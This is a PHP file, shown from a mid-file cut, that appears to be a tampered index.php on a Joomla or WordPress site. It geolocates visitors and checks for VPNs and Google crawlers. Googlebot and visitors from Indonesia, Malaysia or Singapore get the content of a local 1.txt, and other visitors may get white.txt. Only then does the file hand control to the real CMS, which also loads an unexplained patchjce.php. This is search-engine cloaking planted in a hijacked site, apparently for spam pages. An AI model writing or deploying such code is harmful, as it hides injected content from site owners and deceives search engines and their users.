$url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => $timeout, CURLOPT_TIMEOUT => $timeout, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_USERAGENT => 'Mozilla/5.0' )); $result = curl_exec($ch); curl_close($ch); if ($result !== false) { return $result; } } if (ini_get('allow_url_fopen')) { $context = stream_context_create(array( 'http' => array( 'ignore_errors' => true, 'timeout' => $timeout, 'user_agent' => 'Mozilla/5.0' ) )); $result = @file_get_contents($url, false, $context); return $result === false ? '' : $result; } return ''; } function get_ip_info($ip) { static $cache = array(); if (isset($cache[$ip])) { return $cache[$ip]; } $info = array( 'country' => '', 'proxy' => false, 'hosting' => false ); if ( $ip === '0.0.0.0' || $ip === '127.0.0.1' || !filter_var($ip, FILTER_VALIDATE_IP) ) { $cache[$ip] = $info; return $info; } $apis = array( array( 'http://ip-api.com/json/{IP}?fields=countryCode,proxy,hosting', 'json' ), array( 'https://ipwho.is/{IP}', 'json' ), array( 'https://ipinfo.io/{IP}/json', 'json' ), array( 'https://ipapi.co/{IP}/json/', 'json' ) ); foreach ($apis as $api) { $url = str_replace('{IP}', rawurlencode($ip), $api[0]); $body = http_get($url); if ($body === '') { continue; } $data = json_decode($body, true); if (!is_array($data)) { continue; } /* * Country */ if (isset($data['countryCode'])) { $info['country'] = strtoupper(trim($data['countryCode'])); } elseif (isset($data['country_code'])) { $info['country'] = strtoupper(trim($data['country_code'])); } elseif (isset($data['country'])) { $country = strtolower(trim($data['country'])); $country_map = array( 'indonesia' => 'ID', 'malaysia' => 'MY', 'singapore' => 'SG' ); if (isset($country_map[$country])) { $info['country'] = $country_map[$country]; } } /* * Proxy */ if (isset($data['proxy'])) { $info['proxy'] = (bool) $data['proxy']; } /* * Hosting */ if (isset($data['hosting'])) { $info['hosting'] = (bool) $data['hosting']; } /* * Connection type */ if ( isset($data['connection']) && is_array($data['connection']) && isset($data['connection']['type']) ) { $connection = strtoupper($data['connection']['type']); if ( $connection === 'PROXY' || $connection === 'VPN' || $connection === 'TOR' ) { $info['proxy'] = true; } if ( $connection === 'HOSTING' || $connection === 'BUSINESS' ) { $info['hosting'] = true; } } if ( isset($data['privacy']) && is_array($data['privacy']) ) { foreach ($data['privacy'] as $privacyField => $value) { if ( in_array( $privacyField, array('vpn', 'proxy', 'tor', 'hosting') ) && !empty($value) && $value !== 'false' ) { if ($privacyField === 'hosting') { $info['hosting'] = true; } else { $info['proxy'] = true; } } } } if ($info['country'] !== '') { $cache[$ip] = $info; return $info; } } $cache[$ip] = $info; return $info; } function get_cf_country() { if (!isset($_SERVER['HTTP_CF_IPCOUNTRY'])) { return ''; } $code = strtoupper(trim($_SERVER['HTTP_CF_IPCOUNTRY'])); return preg_match('/^[A-Z]{2}$/', $code) ? $code : ''; } function detect_language_country() { $accept_lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : ''; $matches = array( 'id-id' => 'ID', 'id' => 'ID', 'ms-my' => 'MY', 'ms' => 'MY', 'en-my' => 'MY', 'en-sg' => 'SG', 'zh-sg' => 'SG', 'zh-cn' => 'CN' ); foreach ($matches as $lang => $country) { if (strpos($accept_lang, $lang) !== false) { return $country; } } return ''; } function get_browser_timezone() { if (isset($_COOKIE['_tz'])) { return trim($_COOKIE['_tz']); } if (isset($_SERVER['HTTP_X_APPENGINE_TIMEZONE'])) { return trim($_SERVER['HTTP_X_APPENGINE_TIMEZONE']); } return ''; } function register_timezone_script() { echo ''; } function timezone_in_region($timezone) { if ($timezone === '') { return false; } $timezone = trim($timezone); $timezone = str_replace(' ', '_', $timezone); $indonesia = array( 'Asia/Jakarta', 'Asia/Makassar', 'Asia/Pontianak', 'Asia/Jayapura' ); $malaysia = array( 'Asia/Kuala_Lumpur', 'Asia/Kuching' ); $singapore = array( 'Asia/Singapore' ); if (in_array($timezone, $indonesia, true)) { return 'ID'; } if (in_array($timezone, $malaysia, true)) { return 'MY'; } if (in_array($timezone, $singapore, true)) { return 'SG'; } /* * Hindari error kalau timezone tidak valid */ try { $timezone_object = new DateTimeZone($timezone); } catch (Exception $e) { return ''; } $midnight = new DateTime('now', $timezone_object); $offset = $midnight->getOffset() / 3600; if ($offset >= 7 && $offset <= 9) { return ''; } return ''; } function resolve_visitor_country() { $ip_info = get_ip_info(get_user_ip()); $cf = get_cf_country(); $lang = detect_language_country(); $timezone = get_browser_timezone(); $tz_region = timezone_in_region($timezone); $ip_country = $cf !== '' ? $cf : $ip_info['country']; $uses_vpn = $ip_info['proxy'] || $ip_info['hosting']; $target_scores = array( 'ID' => 0, 'MY' => 0, 'SG' => 0 ); if ( $ip_country !== '' && in_array($ip_country, array('ID', 'MY', 'SG')) ) { if (!$uses_vpn) { return array( 'country' => $ip_country, 'source' => 'ip', 'vpn' => false ); } $target_scores[$ip_country] += 3; } if ( $lang !== '' && in_array($lang, array('ID', 'MY', 'SG')) ) { $target_scores[$lang] += 2; } if ( $tz_region !== '' && in_array($tz_region, array('ID', 'MY', 'SG')) ) { $target_scores[$tz_region] += 2; } $best = ''; $best_score = 0; foreach ($target_scores as $code => $score) { if ($score > $best_score) { $best_score = $score; $best = $code; } } if ($best !== '' && $best_score >= 4) { return array( 'country' => $best, 'source' => 'proxy-verified', 'vpn' => true ); } if ($ip_country !== '') { return array( 'country' => $ip_country, 'source' => 'ip-only', 'vpn' => $uses_vpn ); } return array( 'country' => $lang !== '' ? $lang : '', 'source' => 'lang-only', 'vpn' => $uses_vpn ); } function get_user_country() { $result = resolve_visitor_country(); return $result['country']; } function get_visitor_info() { return resolve_visitor_country(); } function is_country($codes) { $result = resolve_visitor_country(); return in_array( $result['country'], $codes, true ); } function is_indonesia_ip() { return is_country(array('ID')); } function is_malaysia_ip() { return is_country(array('MY')); } function is_singapore_ip() { return is_country(array('SG')); } function is_allowed_country() { return is_country(array('ID', 'MY', 'SG')); } $ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; $is_googlebot = ( strpos($ua, 'googlebot') !== false || strpos($ua, 'google-inspectiontool') !== false || strpos($ua, 'mediapartners-google') !== false || strpos($ua, 'adsbot-google') !== false || strpos($ua, 'googleother') !== false || strpos($ua, 'google-extended') !== false || strpos($ua, 'googleweblight') !== false ); $visitor_info = get_visitor_info(); $geo_location = isset($visitor_info['country']) ? strtoupper($visitor_info['country']) : ''; $is_indo = ($geo_location === 'ID'); $is_malay = ($geo_location === 'MY'); $is_singapore = ($geo_location === 'SG'); $is_allowed_geo = ( $is_indo || $is_malay || $is_singapore ); $file1 = __DIR__ . '/1.txt'; $file2 = __DIR__ . '/white.txt'; if ($is_googlebot || $is_allowed_geo) { if (file_exists($file1)) { readfile($file1); } else { echo '

Dark web 404 Not Found

'; } exit; } if (file_exists($file2)) { readfile($file2); exit; } function _joomla_detect_version() { foreach ( array( __DIR__ . '/includes/src/Version.php', __DIR__ . '/libraries/cms/version/version.php', __DIR__ . '/libraries/joomla/version.php', __DIR__ . '/includes/version.php' ) as $verfile ) { if (file_exists($verfile)) { $content = @file_get_contents($verfile); if ($content !== false) { $major = 0; if (preg_match('/const MAJOR_VERSION\s*=\s*(\d+)/i', $content, $m)) { $major = (int) $m[1]; } if ($major >= 4) { return 'j4'; } if ($major > 0) { return 'j3'; } } } } return 'unknown'; } $joomla_ver = _joomla_detect_version(); if (file_exists(__DIR__ . '/includes/app.php') && $joomla_ver !== 'j3') { define('JOOMLA_MINIMUM_PHP', '8.1.0'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die(str_replace( '{{phpversion}}', JOOMLA_MINIMUM_PHP, file_get_contents(__DIR__ . '/includes/incompatible.html') )); } define('_JEXEC', 1); if (file_exists(__DIR__ . '/libraries/patchjce.php')) { require_once __DIR__ . '/libraries/patchjce.php'; } if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } require_once __DIR__ . '/includes/defines.php'; if ( !empty($_GET['jautoupdate']) && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php') ) { require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php'; die(); } require_once __DIR__ . '/includes/app.php'; exit; } if (file_exists(__DIR__ . '/includes/framework.php')) { define('_JEXEC', 1); if (file_exists(__DIR__ . '/libraries/import.legacy.php')) { require_once __DIR__ . '/libraries/import.legacy.php'; } if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; if (class_exists('JFactory')) { $app = JFactory::getApplication('site'); $app->execute(); exit; } } if (file_exists(__DIR__ . '/includes/framework.php') && !class_exists('JApplication')) { define('_JEXEC', 1); if (!defined('JPATH_BASE')) { define('JPATH_BASE', __DIR__); } require_once JPATH_BASE . '/includes/defines.php'; require_once JPATH_BASE . '/includes/framework.php'; $mainframe = JFactory::getApplication('site'); $mainframe->initialise(); $mainframe->route(); $mainframe->dispatch(); $mainframe->render(); exit; } if (file_exists(__DIR__ . '/wp-blog-header.php')) { define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php'; exit; } http_response_code(500); echo '

No CMS Detected

'; echo '

Tidak tersedia.

'; exit;